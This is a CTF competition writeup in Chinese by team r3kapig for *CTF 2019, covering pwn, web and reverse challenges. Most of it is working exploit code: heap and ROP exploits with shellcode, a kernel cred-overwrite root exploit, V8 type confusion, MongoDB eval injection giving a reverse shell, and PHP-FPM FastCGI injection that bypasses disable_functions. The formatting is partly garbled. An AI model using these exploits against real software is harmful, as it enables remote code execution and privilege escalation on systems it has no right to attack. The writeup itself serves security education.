*CTF 2019国际赛 冠军战队r3kapig版本WP

  XCTF联赛小秘       2019-05-08 10:11:09 1163  1

*ctf 2019 online writeup

[TOC]

Pwn

heap_master

```python from pwn import *

def add(size): p.sendlineafter('>>', '1') p.sendlineafter(':', str(size))

def _edit(off, data, silence=None): if silence: p.sendline('2') p.sendline(str(off)) p.sendline(str(len(data))) p.send(data) else: p.sendlineafter('>>', '2') p.sendlineafter(':', str(off)) p.sendlineafter(':', str(len(data))) p.sendafter(':', data)

def edit(payload, silence=None): for off, data in payload.iteritems(): _edit(off, data, silence)

def free(off, silence=None): if silence: p.sendline('3')

    p.sendline(str(off))

else:
    p.sendlineafter('>>', '3')
    p.sendlineafter(':', str(off))

def write(base, index, silence=None): payload = {base + 8: p64((index << 4) | 1), base + (index << 4) + 8: p64(0x21), base + (index << 4) + 8 + 0x20: p64(0x21)} edit(payload, silence) free(base + 0x10, silence)

debug = 0

l = ELF('./heap.libc') gm = '\xc0\x67'

dl_hook = 0x8fd wbase = 0x165 wend = 0x167 flags = 0x161 vtable = 0x17c

if debug: p = process('./heap_master', env={'LD_PRELOAD': './heap.libc'})

else: p = remote('34.92.248.154', 10000)

payload = {8: p64(0x21), 0x28: p64(0x101), 0x128: p64(0x21), 0x148: p64(0x101), 0x248: p64(0x21), 0x268: p64(0x111), 0x378: p64(0x21), 0x398: p64(0x21)}

edit(payload) free(0x30) free(0x150)

add(0x400) free(0x270) edit({0x278: gm}) add(0x108)

write(0, dl_hook) write(0, wbase) write(0, wend, True) write(0x1800, flags, True)

p.recv(1) p.recv(0x10)

libc = u64(p.recv(0x8)) - 0x83 - l.symbols['IO_2_1_stdout'] l.address = libc log.success('libc:' + hex(libc)) edit({0x158: p64(l.symbols['gets'])})

write(0x120, vtable) if debug: gdb.attach(p, 'b *0x7ffff7aa121f') payload = '/bin/sh;'.ljust(8, '\x00') payload += p64(libc + 0x00000000000aa970) payload += p64(libc + 0x39e683) * 4 payload += p64(libc + 0x39e684) payload += p64(libc + 0x39e683) payload += p64(libc + 0x39e684) system = len(payload) payload += p64(libc + 0x0000000000029933) payload += p64(0) * 3 payload += p64(l.symbols['IO_2_1_stdin']) payload += p64(1) + p64(0xffffffffffffffff) + p64(0x6f000000) + p64(libc + 0x39f760) payload += p64(0xffffffffffffffff) + p64(0) payload += p64(libc + 0x39d780) payload += p64(0) * 6 payload += p64(l.symbols['IO_2_1_stdout'] + system - 0x38) * 2

payload += p64(l.symbols['IO_2_1_stdout']) payload += p64(l.symbols['IO_2_1_stdin'])

rop = p64(libc + 0x0000000000036d98) rop += p64(0x9) rop += p64(libc + 0x000000000009be40) rop += p64(libc + 0x000000000001feea) rop += p64(l.symbols['IO_2_1_stdout'] & 0xfffffffffffff000) rop += p64(libc + 0x000000000001fe95) rop += p64(0x2000) rop += p64(libc + 0x0000000000001b92) rop += p64(7) rop += p64(l.symbols['alarm'] + 5)

payload += rop payload += p64(l.symbols['IO_2_1_stdout'] + len(payload)+8)

context.arch='amd64' payload+=asm(shellcraft.amd64.linux.cat('/flag'))

p.sendline(payload) p.interactive() ```

hackme

oob下溢,喷一下,在0x160000以内可以找到cred结构,但是不能直接写,会导致写到不可写区域,用userfaultfd在写到cred之后停。

```cpp

include

include

include

include

include

include

include

include

include

include

//#include

include "userfaultfd.h"

//#include

define CHECK(res, msg) \

if (res < 0) { \ perror(msg); \ exit(1); \ }

define CREATE 0x30000

define EDIT 0x30002

define SHOW 0x30003

define __NR_userfaultfd 323

static long page_size; static long uffd;

define SIZE (0x160000 - 40000 - 3000)

struct param { long idx; long buffer; long size; long offset; };

int userfaultfd(int flags) { return syscall(__NR_userfaultfd, flags); }

static void fault_handler_thread() { static struct uffd_msg msg; / Data read from userfaultfd / static int fault_cnt = 0; / Number of faults so far handled / static char page = NULL; struct uffdio_copy uffdio_copy; ssize_t nread;

/ Loop, handling incoming events on the userfaultfd file deor /

for (;;) {

/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
CHECK(nready, "poll");

printf("\nfault_handler_thread():\n");
printf("    poll() returns: nready = %d; "
    "POLLIN = %d; POLLERR = %d\n", nready,
    (pollfd.revents & POLLIN) != 0,
    (pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
  printf("EOF on userfaultfd!\n");
  exit(EXIT_FAILURE);
}

CHECK(nread, "read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT) {
  fprintf(stderr, "Unexpected event on userfaultfd\n");
  exit(EXIT_FAILURE);
}

/* Display info about the page-fault event */

printf("    UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

/* here, wait for subprocess checking */
sleep(1000);

}

}

int sub_hold(void) { while (1) { int uid = getuid(); printf("uid== %d\n", uid); if (uid == 0) { printf("get root\n"); system("/bin/sh"); } sleep(5); } }

int main(int argc, char **argv) { if (argc < 3) { printf("usage: %s userid idx\n", argv[0]); return 1; } int res;

printf("spray cred\n"); for (int i = 0;i < 300; ++i) { if (fork() == 0) { sub_hold(); } } printf("spray done\n");

getchar();

int userid = atoi(argv[1]); int index = atoi(argv[2]);

int fd = open("/dev/hackme", O_RDONLY); CHECK(fd, "open");

struct param userparam; char *buffer = mmap(NULL, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buffer == MAP_FAILED) { printf("mmap failed\n"); return 1; } memset(buffer, 0, 0x1000);

/ create buffer / userparam.idx = index; userparam.buffer = (long) buffer; userparam.size = 0x78; // sizeof(struct cred) userparam.offset = 0; res = ioctl(fd, CREATE, &userparam); CHECK(res, "create ioctl");

/ search for struct cred / long cred_offset = 0; int found_cred = 0;

printf("searching .."); userparam.idx = index; userparam.buffer = (long) buffer; userparam.size = SIZE; userparam.offset = -SIZE;

res = ioctl(fd, SHOW, &userparam); CHECK(res, "search cred ioctl");

for (int j = 0; j < SIZE / 4; ++j) { int value = (int )(buffer + j); int is_cred = 0; if (value == userid) { is_cred = 1; for (int k = 0; k < 8; ++k) { if (((int )(buffer + j) + k) != userid) { is_cred = 0; } } }

if (is_cred) {
  printf("found cred at %d\n", j);

  found_cred = 1;

  for (int k = 0; k < 8; ++k) {
    *((int*)(buffer + j) + k) = 0;
  }
}

}

if (!found_cred) { puts("Cred struct not found, failed"); return -1; }

/ setup user page fault / page_size = sysconf(_SC_PAGE_SIZE); char *break_addr = buffer + 0x4000; unsigned long len = 4 * page_size; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register;

uffd = userfaultfd(O_CLOEXEC | O_NONBLOCK); CHECK(uffd, "userfaultfd");

uffdio_api.api = UFFD_API; uffdio_api.features = 0; res = ioctl(uffd, UFFDIO_API, &uffdio_api); CHECK(res, "uffdio api");

char *addr = mmap(NULL, SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap addr"); return -1; }

printf("addr: 0x%llx\n", addr);

if (cred_offset >= 4 * page_size) { printf("cred offset too far\n"); return -1; }

// first 4 pages is to be configued memcpy(addr, buffer, 4 * page_size);

uffdio_register.range.start = (unsigned long )addr + 4 * page_size; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;

res = ioctl(uffd, UFFDIO_REGISTER, &uffdio_register); CHECK(res, "uffd io register");

if (fork() == 0) { fault_handler_thread(); }

/ edit cred /

userparam.idx = index; userparam.buffer = (long) addr; userparam.size = SIZE; userparam.offset = -SIZE;

res = ioctl(fd, EDIT, &userparam); CHECK(res, "edit cred");

/ root shell / system("/bin/sh");

return 0; } ```

babyshell

\00 直接跳出去 ```python from pwn import * context(arch = 'amd64', os = 'linux', endian = 'little') context.log_level = 'debug'

def GameStart(ip, port, debug): if debug == 1: p = process('./shellcode') else: p = remote(ip, port) # pass

p.sendline('\x76\x00' + asm(shellcraft.sh()))

p.interactive()

if name == 'main': GameStart('34.92.37.22', 10002, 0)

```

blindpwn

brop 先是寻找stop gadget python i = 0x400000 while 1: try: p = remote("34.92.37.22",10000) p.recvuntil("Welcome to this blind pwn!\n") p.sendline(40*"a"+p64(i)) out = p.recv() p.close() print out print "stopgadget"+str(i) except Exception: i +=1 print i p.close() 找到 ——> 0x400515

当构造 payload = "A"*40+p64(0x400515)

发现泄露了一个疑似 code 地址,尝试了下发现这个地址能返回到 main 函数里。

且泄露了疑似 低三位为 0x830 的libc地址 ,尝试了下 组合onegadget,get shell。 ```python from pwn import* debug = 1 context.log_level = 'debug'

if debug is 0: p = process(fpath) gdb.attach(p)#"b *0x8048916") else: p = remote("34.92.37.22",10000)

p.recvuntil("Welcome to this blind pwn!\n") p.sendline("a"40+p64(0x400515)+p64(0x400570)2) p.recvuntil("a"*40)

data = p.recv(0x100) em = u64(data[0x20:0x28]) lib_Addr = em - 0x20830 print hex(lib_Addr) p.recvuntil("Welcome to this blind pwn!") p.sendline("a"40+p64(lib_Addr+0x45216)+"\x00"40) '''

stopgadgets finding

i = 0x400000+0x520#+0x500->leak 0x400515 while 1: try: p = remote("34.92.37.22",10000) p.recvuntil("Welcome to this blind pwn!\n") p.sendline(40*"a"+p64(i)) out = p.recv() if "pwn" in out: p.close() else: i+=1 print out print "stopgadget"+str(hex(i)) except Exception: i +=1 print hex(i) p.close() '''

p.interactive() ```

girlfriend

先利用unsrotbin leak出libc的地址,然后把tc消耗掉,因为2.29下掉tc存在保护。然后利用fastbin attack改写free_hook为system然后进行一个delte操作getshell(这里onegadget地址似乎没法用)

```python

!/usr/bin/env python

fpath = "./chall" offset = 28 debug = 0 times = 2 from pwn import * context.log_level="debug" if debug is 0: p = process(fpath) gdb.attach(p) else: p = remote("34.92.96.238",10001) def add(size,name,call): p.recvuntil("Input your choice:") p.sendline("1") p.recvuntil("Please input the size of girl's name") p.sendline(str(size)) p.recvuntil("please inpute her name:") p.send(name) p.recvuntil("please input her call:") p.send(call)

def show(index): p.recvuntil("Input your choice:") p.sendline("2") p.recvuntil("Please input the index:") p.sendline(str(index))

def delte(index): p.recvuntil("Input your choice:") p.sendline("4") p.recvuntil("Please input the index:") p.sendline(str(index))

add(0x500,"peanuts\n","peanuts\n") #0 add(0x50,"peanuts\n","peanuts\n") #1 add(0x50,"peanuts\n","peanuts\n") #2 delte(0) show(0) p.recvuntil("name:\n") libc_base=u64(p.recv(6)+"\x00\x00")-0x3b1ca0 print hex(libc_base) delte(1) delte(2) show(2)

p.recvuntil("name:\n") heap_base=u64(p.recv(6)+"\x00\x00")-0x7b0 print hex(heap_base)

for i in range(7): add(0x60,"peanuts\n","peanuts\n") #3

add(0x60,"peanuts\n","peanuts\n") #10 add(0x60,"peanuts\n","peanuts\n") #11 add(0x60,"peanuts\n","peanuts\n") #12

for i in range(7): delte(3+i)

delte(10) delte(11) delte(10)

for i in range(7): add(0x60,"peanuts\n","peanuts\n") #

free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols["system"]

add(0x60,p64(free_hook),"peanuts\n") one_gadget=libc_base+0xdf991

add(0x60,"peanuts\n","peanuts\n")

add(0x60,"/bin/sh\x00\n","peanuts\n") add(0x60,p64(system)+"\n","peanuts\n") add(0x60,"/bin/sh\x00\n","peanuts\n")

delte(0x18) p.interactive() ```

quicksort

```python= from pwn import * elf = ELF('./quicksort')

p = elf.process()

p = remote('34.92.96.238', 10000)

context.log_level = 'debug' libc = elf.libc

sla = p.sendlineafter ru = p.recvuntil def cnt(x): sla('sort?', str(x)) def num(x): sla('number:', str(x))

main = 0x8048816

cnt(1) payload = str(main).ljust(0x10, '\x00') payload += p32(2) + p32(1) + p32(0) # n i j payload += p32(elf.got['gets']) # ptr = got[gets] # got[free] = main num(payload)

ru('result:\n') t = ru(' ', True) base = int(t) + (1 << 32) - libc.sym['gets'] info('base: %#x', base) libc.address = base

cnt(2) t = libc.sym['system'] - (1 << 32) payload = str(t).ljust(0x10, '\x00') payload += p32(2) + p32(0) + p32(0) payload += p32(elf.got['atoi']) num(payload) num('/bin/sh')

p.interactive() ```

upxofcpp

用upx导致heap变成rwx, delete存在uaf, 利用堆空闲链表的fd设置虚表和show函数指针. ```python= from pwn import *

elf = ELF('./upxofcpp0')

p = elf.process(aslr = False)

p = remote('34.92.121.149', 10000) libc = elf.libc context.log_level = 'debug' context.binary = elf

sl = p.sendline sla = p.sendlineafter sa = p.sendafter rl = p.recvline ru = p.recvuntil rn = p.recvn def menu(i): sla('Your choice:', str(i))

def add(idx, n, arr): menu(1) sla('Index:', str(idx)) sla('Size:', str(n)) ru('stop:') if len(arr) != 0: for i in arr: sl(str(i))

def show(idx): menu(4) sla('vec index:', str(idx))

def delete(idx): menu(2) sla('vec index:', str(idx))

def makearr(s): s += '\x00' * (4 - len(s) % 4) arr = [] for i in xrange(0, len(s), 4): t = u32(s[i:i+4]) if t >= (1 << 31): t = t - (1 << 32) arr.append(t) return arr

payload = [0] * 2 + makearr("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") add(0, 1, [0x90]) add(1, len(payload), payload) delete(0) delete(1)

payload = [0] * 4 + makearr('\xEB\x56') add(2, 5, payload) delete(2)

show(1)

p.interactive() ```

OOB-V8

数组越界改object的map pointer,直接double array和 var array的类型混淆。详情可看https://changochen.github.io/2019-04-29-starctf-2019.html ```= function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } var f64 = new Float64Array(1); var u32 = new Uint32Array(f64.buffer);

function d2u(v) { f64[0] = v; return u32; }

function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; }

function hex(lo, hi) { if( lo == 0 ) { return ("0x" + hi.toString(16) + "00000000"); } if( hi == 0 ) { return ("0x" + lo.toString(16)); } return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8)); }

gc(); // the function is for the gc stuff. More details can be found at v8 official doc.

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports._Z3addii; let buffer = new ArrayBuffer(0x200); let dataview = new DataView(buffer); var obj = {"123":123}; let a = [1.1]; let b = [dataview]; let c = [1.1]; let d = [1.1];

float_map = a.oob(); var_map = b.oob(); leak_addr = d2u(float_map); console.log("[-] double array map pointer: " + hex(leak_addr[0],leak_addr[1])); leak_addr = d2u(var_map); console.log("[-] var array map pointer: " + hex(leak_addr[0],leak_addr[1]));

b.oob(float_map);

var fake_obj = [ u2d(d2u(float_map)[0], d2u(float_map)[1]), u2d(0, 0), u2d(d2u(float_map)[0], d2u(float_map)[1]), // the element pointer. Set it to where you want to read or write u2d(0x0, 0x1000), ].slice(0);

var victim = [fake_obj]; victim.oob(float_map); leak_addr = d2u(victim[0]); console.log("[-] Fake array: " + hex(leak_addr[0],leak_addr[1])); b[0] = u2d(leak_addr[0]-0x20, leak_addr[1]); b.oob(var_map); victim.oob(var_map); victim[0][2]=u2d(leak_addr[0],leak_addr[1]);

var ccc = [0x1234,0xdead,0xbeef,f,buffer]; oob_obj = b[0];

var wasm_idx = 0; var buffer_idx = 0; for(let i = 0; i<0x1000; i++){ if(d2u(oob_obj[i])[1] === 0x1234){ if(d2u(oob_obj[i+1])[1] === 0xdead){ wasm_idx = i + 3; buffer_idx = i+4; console.log("Found!"); break; } } }

let wasm_obj_lo = d2u(oob_obj[wasm_idx])[0]; let wasm_obj_hi = d2u(oob_obj[wasm_idx])[1]; let buffer_lo = d2u(oob_obj[buffer_idx])[0]; let buffer_hi = d2u(oob_obj[buffer_idx])[1]; console.log("[-] buffer pointer : " + hex(buffer_lo, buffer_hi)); console.log("[-] wasm object : " + hex(wasm_obj_lo, wasm_obj_hi));

victim[0][2]=u2d(wasm_obj_lo-0x170 - 0x10 +0x18, wasm_obj_hi); //victim[0][2]=u2d(wasm_obj_lo-0x170 - 0x10, wasm_obj_hi); // if you debug in d8, use this line

rwx_page = oob_obj[0]; rwx_page_lo = d2u(rwx_page)[0]; rwx_page_hi = d2u(rwx_page)[1]; console.log("[-] rwx page : " + hex(rwx_page_lo, rwx_page_hi));

victim[0][2]=u2d(buffer_lo+0x10 ,buffer_hi); oob_obj[0] = u2d(rwx_page_lo,rwx_page_hi);

// execute '/get_flag >/tmp/txt ;DISPLAY=:0 /usr/bin/gedit /tmp/txt' var shellcode =[2572696426, 1647295304, 1932488297, 1213399144, 761849737, 1207959651, 3897747081, 51, 790655852, 1949253152, 1949266029, 991982712, 1347635524, 1029259596, 790638650, 796029813, 795765090, 1768187239, 1949245556, 1949266029, 1442870392, 3867756631, 2425357583];

for(let i = 0; i < shellcode.length; i++) { dataview.setUint32(i * 4, shellcode[i], true); }

f(); ```

Web

996game

游戏的源码可以在Github上找到:

https://github.com/allthingsclowd/K5Live-Finland/tree/master/examples/phaserquest

根据源码的目录结构可以直接访问到题目源码:

http://34.92.25.123:10081/js/server/GameServer.js

Diff 一下两者可以很快发现漏洞点:

这里当查询 mongodb 报错时,会把报错信息 err.message 带入 eval 中,所以只要报错信息可控就可以造成任意代码执行。

测试发现:

可以看到查表时当条件是一个 JSON 且键名以$开头时 mongodb 就会报错,还会把键名输出到 errmsg 中。

但是这里的代码:

GameServer.loadPlayer = function(socket,id){ GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){ if(err) { if(!doc) { eval(err.message.split(':').pop()); } throw err; } ... };

可以看到 id 还经过了 new ObjectId() 对象,如果直接传入 id 为 {'$a=1;': ''} 会报错 Argument passed in must be a single String of 12 bytes or a string of 24 hex characters

跟进 ObjectId 的定义去看,在 node_modules/bson/lib/bson/objectid.js:28

``` var ObjectID = function ObjectID(id) { ... // Check if the passed in id is valid var valid = ObjectID.isValid(id);

// Throw an error if it's not a valid setup if(!valid && id != null){ throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters"); } else if(valid && typeof id == 'string' && id.length == 24 && hasBufferType) { return new ObjectID(new Buffer(id, 'hex')); } else if(valid && typeof id == 'string' && id.length == 24) { return ObjectID.createFromHexString(id); } else if(id != null && id.length === 12) { // assume 12 byte string this.id = id; } else if(id != null && id.toHexString) { // Duck-typing to support ObjectId from different npm packages return id; } else { throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters"); }

if(ObjectID.cacheHexString) this.__id = this.toString('hex'); }; ```

使用 ObjectID.isValid(id) 判断了是否合法,跟进去看一下:

```= ObjectID.isValid = function isValid(id) { if(id == null) return false;

if(typeof id == 'number') { return true; }

if(typeof id == 'string') { return id.length == 12 || (id.length == 24 && checkForHexRegExp.test(id)); }

if(id instanceof ObjectID) { return true; }

if(id instanceof _Buffer) { return true; }

// Duck-Typing detection of ObjectId like objects if(id.toHexString) { return id.id.length == 12 || (id.id.length == 24 && checkForHexRegExp.test(id.id)); }

return false; }; ```

可以看到满足最后一个 if 判断十分简单,所以最后构造 id 为:

= id = {'$a=1;require(`child_process`).exec(`command`);': "", toHexString: 1, id: {length: 12}}

在游戏网页的 console 利用游戏的通信函数发包就可以获得反弹 shell :

= Client.getPlayerID = ()=>{return {'$a=1;require(`child_process`).exec(`command`);': "", toHexString: 1, id: {length: 12}}} Client.requestData()

最后再过一遍 Web1 的 /readflag challenge 即可获得 flag

echohub

mzphp解密后发现源码是PHP模拟栈溢出,开启了aslr和canary保护,但是由于使用time作为随机数种子,所以可以预测随机数,最终可以绕过aslr和canary覆盖eip,最终执行call_user_func_array,写了一个自动化脚本 ```php <?php

require_once 'sandbox.php'; $seed = time(); srand($seed); define('INS_OFFSET', rand(0, 65535)); $regs = array('eax' => 0, 'ebp' => 0, 'esp' => 0, 'eip' => 0); $canary = gen_canary(); $canarycheck = $canary; function check_canary() { global $plt; global $payload; global $canary; global $canarycheck; $payload = $payload.strrev(chunk_split($canarycheck,2,"%")); if($_GET[argvs]==1){ $payload = $payload."AAAA".strrev(chunk_split(dechex(array_flip($plt)[$_GET[func]]),2,"%"))."0001"."BBBB"; } elseif($_GET[argvs]==2){ $payload = $payload."AAAA".strrev(chunk_split(dechex(array_flip($plt)[$_GET[func]]),2,"%"))."0002"."BBBBCCCC"; } elseif($_GET[argvs]==3){ $payload = $payload."AAAA".strrev(chunk_split(dechex(array_flip($plt)[$_GET[func]]),2,"%"))."0003"."BBBBCCCCDDDD"; }elseif($_GET[argvs]==4){ $payload = $payload."AAAA".strrev(chunk_split(dechex(array_flip($plt)[$_GET[func]]),2,"%"))."0004"."BBBBCCCCDDDDEEEE"; } if ($canary != $canarycheck) { die("emmmmmm...Don't attack me!"); } } class O0OO0 { private $ebp, $stack, $esp; public function __construct($xzv_21, $xzv_23) { global $payload; $this->stack = array(); global $regs; $this->ebp =& $regs['ebp']; $this->esp =& $regs['esp']; $this->ebp = 4294836224 + rand(0, 65535); global $canary; $this->stack[$this->ebp - 4] =& $canary; $this->stack[$this->ebp] = $this->ebp + rand(0, 65535); $this->esp = $this->ebp - rand(32, 96) * 4; $this->stack[$this->ebp + 4] = dechex($xzv_21); $payload = str_repeat("A",$this->ebp-$this->esp-4); if ($xzv_23 != NULL) { $this->pushdata($xzv_23); } } function post($url, $data) { $curl = curl_init($url); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); curl_setopt($curl, CURLOPT_TIMEOUT, 10); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, urldecode(http_build_query($data))); curl_exec($curl); #return $res; }

class_alias('O0OO0', 'stack', 0); print_R('O0OO0'); print_R('stack'); if (isset($_POST['data'])) { $phpinfo_addr = array_search('phpinfo', $plt); $gets = $_POST['data']; $main_stack = new stack($phpinfo_addr, $gets); echo '--------------------output---------------------'; $main_stack->outputdata(); echo '------------------phpinfo()------------------'; $main_stack->ret(); $urls = "http://34.85.27.91:10080/index.php?".array_flip($plt)[$_GET[func]]."=1&BBBB=".$_GET[argv1]."&CCCC=".$_GET[argv2]."&DDDD=".$_GET[argv3]."&EEEE=".$_GET[argv4]; echo $urls; #echo $payload; $datas = array('data'=> $payload); var_dump($datas); echo $main_stack->post($urls,$datas); }

但是由于只有call_user_func_array没办法执行任意代码,7.3以后没办法动态调用eval和assert,最后发现可以用create_function动态执行php代码,由于run.sh开启了所有服务所以同时开启了php-fpm,由于disable_function只在apache-mod下生效,php-fpm并没有disable_function和openbase_dir的限制,所以可以通过stream_socket_client对fpm进行代码注入,最终cat flag payloadphp <?php $a=stream_socket_client("unix:///run/php/php7.3-fpm.sock"); fputs($a, urldecode("%01%01R%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04R%01%01%DC%00%00%0E%03CONTENT_LENGTH697%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17_FILENAME/var/www/html/index.php%0B%17_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04R%01%00%00%00%00%01%05R%01%02%B9%00%00%3C%3Fphp%0A%24deorspec%20%3D%20array%28%0A%20%20%200%20%3D%3E%20array%28%22pipe%22%2C%20%22r%22%29%2C%0A%20%20%201%20%3D%3E%20array%28%22pipe%22%2C%20%22w%22%29%2C%0A%20%20%202%20%3D%3E%20array%28%22pipe%22%2C%20%22w%22%29%0A%29%3B%0A%0A%24cwd%20%3D%20%27/%27%3B%0A%24env%20%3D%20array%28%29%3B%0A%0A%24process%20%3D%20proc_open%28%27/readflag%27%2C%20%24deorspec%2C%20%24pipes%2C%20%24cwd%2C%20%24env%29%3B%0A%0Aif%20%28is_resource%28%24process%29%29%20%7B%0A%20%20%20%20%24a%20%3D%20fread%28%24pipes%5B1%5D%2C%201024%29%3B%0A%20%20%20%20%24a%20%3D%20fread%28%24pipes%5B1%5D%2C%201024%29%3B%0A%0A%20%20%20%20%24a%20%3D%20explode%28%22%5Cn%22%2C%20%24a%29%3B%0A%20%20%20%20eval%28%22%5C%24result%20%3D%20%24a%5B0%5D%3B%22%29%3B%0A%20%20%20%20echo%28%22%5C%24result%20%3D%20%24a%5B0%5D%3B%22%29%3B%0A%0A%20%20%20%20fwrite%28%24pipes%5B0%5D%2C%20%22%24result%5Cn%22%29%3B%0A%0A%20%20%20%20var_dump%28fread%28%24pipes%5B1%5D%2C%201024%29%29%3B%0A%20%20%20%20var_dump%28fread%28%24pipes%5B1%5D%2C%201024%29%29%3B%0A%20%20%20%20var_dump%28fread%28%24pipes%5B1%5D%2C%201024%29%29%3B%0A%0A%20%20%20%20fclose%28%24pipes%5B0%5D%29%3B%0A%20%20%20%20fclose%28%24pipes%5B1%5D%29%3B%0A%20%20%20%20%24return_value%20%3D%20proc_close%28%24process%29%3B%0A%0A%20%20%20%20echo%20%22command%20returned%20%24return_value%5Cn%22%3B%0A%7D%0A%3F%3E%01%05R%01%00%00%00%00")); var_dump(fgets($a, 1024)); var_dump(fgets($a, 1024)); var_dump(fgets($a, 1024)); var_dump(fgets($a, 1024)); var_dump(fgets($a, 1024)); ```

mywebsql

admin/admin 弱口令,再利用 CVE-2019-7731 获得 webshell ,最后与 /readflag 交互,一毫秒内计算出 challenge 即可:

Reverse

Matr1x

```python from ida_bytes import get_bytes, patch_bytes from struct import pack, unpack

begin, end = 0x27A0, 0x10B80 buf = get_bytes(begin, end-begin)

pattern = 'E8000000005883C00A50E9'.decode('hex') length = len(pattern) p = buf.find(pattern) while p != -1: buf = buf[:p] + '\x90' * (length - 1) + '\xE8' + buf[p+length:] p = buf.find(pattern, p+1)

pattern = '5BFFE3'.decode('hex') length = len(pattern) p = buf.find(pattern) while p != -1: buf = buf[:p] + '\x90' * (length - 1) + '\xC3' + buf[p+length:] p = buf.find(pattern, p+1)

xor/sub + jcc short = nop

patterns = [ '31C975', '31DB75', '31D275', '31C075', '29DB75', '29D275',

'29C075', '29C275', '29C975', '29DB75' ]

for pt in patterns: pattern = pt.decode('hex') length = len(pattern) p = buf.find(pattern) while p != -1: buf = buf[:p] + '\x90' * (length + 1) + buf[p+length+1:] p = buf.find(pattern, p+1)

patch_bytes(begin, buf) print('done') ```

```python import ida_xref import ida_idaapi from ida_bytes import get_bytes, patch_bytes, get_dword, get_byte from struct import pack

def do_patch(ea, val): op = get_byte(ea) #assert op & 0xF8 = 0xB8 #reg = op & 0x7 assert op == 0x8B modrm = get_byte(ea + 1) reg = (modrm >> 3)& 7 op = 0xB8 | reg patch_bytes(ea, chr(op) + pack('<I', val) + '\x90')

for addr in xrange(0x13280, 0x132A4, 4): val = get_dword(addr) ref = ida_xref.get_first_dref_to(addr) print(hex(addr).center(20,"-")) while(ref != ida_idaapi.BADADDR): do_patch(ref, val) print("patch at " + hex(ref)) ref = ida_xref.get_next_dref_to(addr, ref) print("-"*20) ```

Extracted data

```txt

unsigned int side0[9] = { 0xFDFE0BA1, 0x9A915052, 0xC96F3527, 0xF5201FCD, 0xFE32ED8F, 0xDB8E3EF9, 0x051EF954, 0xFE217F1C, 0x7B33A8BB };

unsigned int side1[9] = { 0x9CF903A1, 0xC381E2CD, 0x22B35BE4, 0x4550E6AE, 0xDC9E8F3C, 0xA9B44EAF, 0x3372486A, 0x51329F58, 0x5F2F456E };

unsigned int side2[9] = { 0x9B555A08, 0xEB1A8529, 0x9B009084, 0x9B0B7B06, 0x9967F311, 0x91FB13AB, 0x18952236, 0x6F7B9915, 0xEDD9D6D1 };

unsigned int side3[9] = { 0xFB67FE21, 0x259911B0, 0x3DC4EE74, 0x98936FF0, 0xDF7502CE, 0xC3DF1016, 0xBC1220F9, 0xF54C810C, 0x715A634C };

unsigned int side4[9] = { 0x3E1637A6, 0x80F07B8D, 0xFB9CA491, 0xAD254C2E, 0xFB5A012F, 0x1AEF5581, 0xB9CC1351, 0x9A3B536D, 0xBD7FAF0F };

unsigned int side5[9] = { 0xF49AD883, 0x02C55324, 0x83BC3205, 0x43846281, 0x19382448, 0xFADB2B18, 0x9335D185, 0x94C6BF5A, 0x591685AE };

4 2031 5

| 012 | 
| 345 | 
| 678 |

012 | 012 | 012 | 876 345 | 345 | 345 | 543 678 | 678 | 678 | 210


| 012 | 
| 345 | 
| 678 |

\ / \ 0 / 2 | 5 | ```

Enumerate each block of each face. Then print all strings with printable characters, and check them using eye.

```cpp

include

typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii;

define xx first

define yy second

